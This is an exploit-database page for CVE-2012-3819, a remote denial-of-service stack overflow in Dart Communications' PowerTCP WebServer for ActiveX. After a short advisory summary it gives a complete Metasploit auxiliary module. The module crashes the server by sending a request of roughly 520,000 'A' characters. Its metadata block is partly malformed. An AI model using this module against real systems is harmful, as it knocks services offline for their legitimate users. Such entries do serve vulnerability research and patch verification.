Lucene search
K

PowerTCP WebServer for - ActiveX Denial of Service

🗓️ 28 Sep 2012 00:00:00Reported by catatonicprimeType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 23 Views

PowerTCP WebServer ActiveX remote denial-of-service vulnerability in version 1.9.2. Attackers crash application to deny service to users. Dart Webserver <= 1.9.0 also affected by stack overflow.

Related
Code
ReporterTitlePublishedViews
Family
0day.today
Dart Communications Stack Overflow Vulnerability
3 Oct 201200:00
zdt
Circl
CVE-2012-3819
28 Sep 201200:00
circl
CVE
CVE-2012-3819
4 Oct 201210:00
cve
Cvelist
CVE-2012-3819
4 Oct 201210:00
cvelist
EUVD
EUVD-2012-3766
7 Oct 202500:30
euvd
exploitpack
PowerTCP WebServer for - ActiveX Denial of Service
28 Sep 201200:00
exploitpack
NVD
CVE-2012-3819
4 Oct 201211:11
nvd
Packet Storm
Dart Communications Stack Overflow
2 Oct 201200:00
packetstorm
Prion
Design/Logic Flaw
4 Oct 201211:11
prion
securityvulns
CVE-2012-3819: Stack Overflow in DartWebserver.dll &lt;= 1.9
4 Oct 201200:00
securityvulns
Rows per page
source: https://www.securityfocus.com/bid/55761/info

PowerTCP WebServer for ActiveX is prone to a remote denial-of-service vulnerability.

Attackers can exploit this issue to crash the application (typically Internet Explorer), denying service to legitimate users.

PowerTCP WebServer for ActiveX 1.9.2 is vulnerable; other versions may also be affected. 

require 'msf/core'

class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::Tcp
include Msf::Auxiliary::Dos

def initialize(info = {})
    super(update_info(info,
        'Description' => %q{ 'Name' => 'Dart Webserver
<= 1.9.0 Stack Overflow',
        Dart Webserver from Dart Communications throws a stack
overflow exception
        when processing large requests.
    }
    ,
    'Author' => [
    'catatonicprime'
    ],
    'Version' => '$Revision: 15513 $',
    'License' => MSF_LICENSE,
    'References' => [
        [ 'CVE', '2012-3819' ],
        ],
    'DisclosureDate' => '9/28/2012'))

    register_options([
        Opt::RPORT(80),
        OptInt.new('SIZE', [ true, 'Estimated stack size to exhaust',
'520000' ])
    ])
    end
    def run
        serverIP = datastore['RHOST']
        if (datastore['RPORT'].to_i != 80)
            serverIP += ":" + datastore['RPORT'].to_s
        end
        size = datastore['SIZE']

        print_status("Crashing the server ...")
        request = "A" * size + "\r\n\r\n"
        connect
        sock.put(request)
        disconnect

    end
end 

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation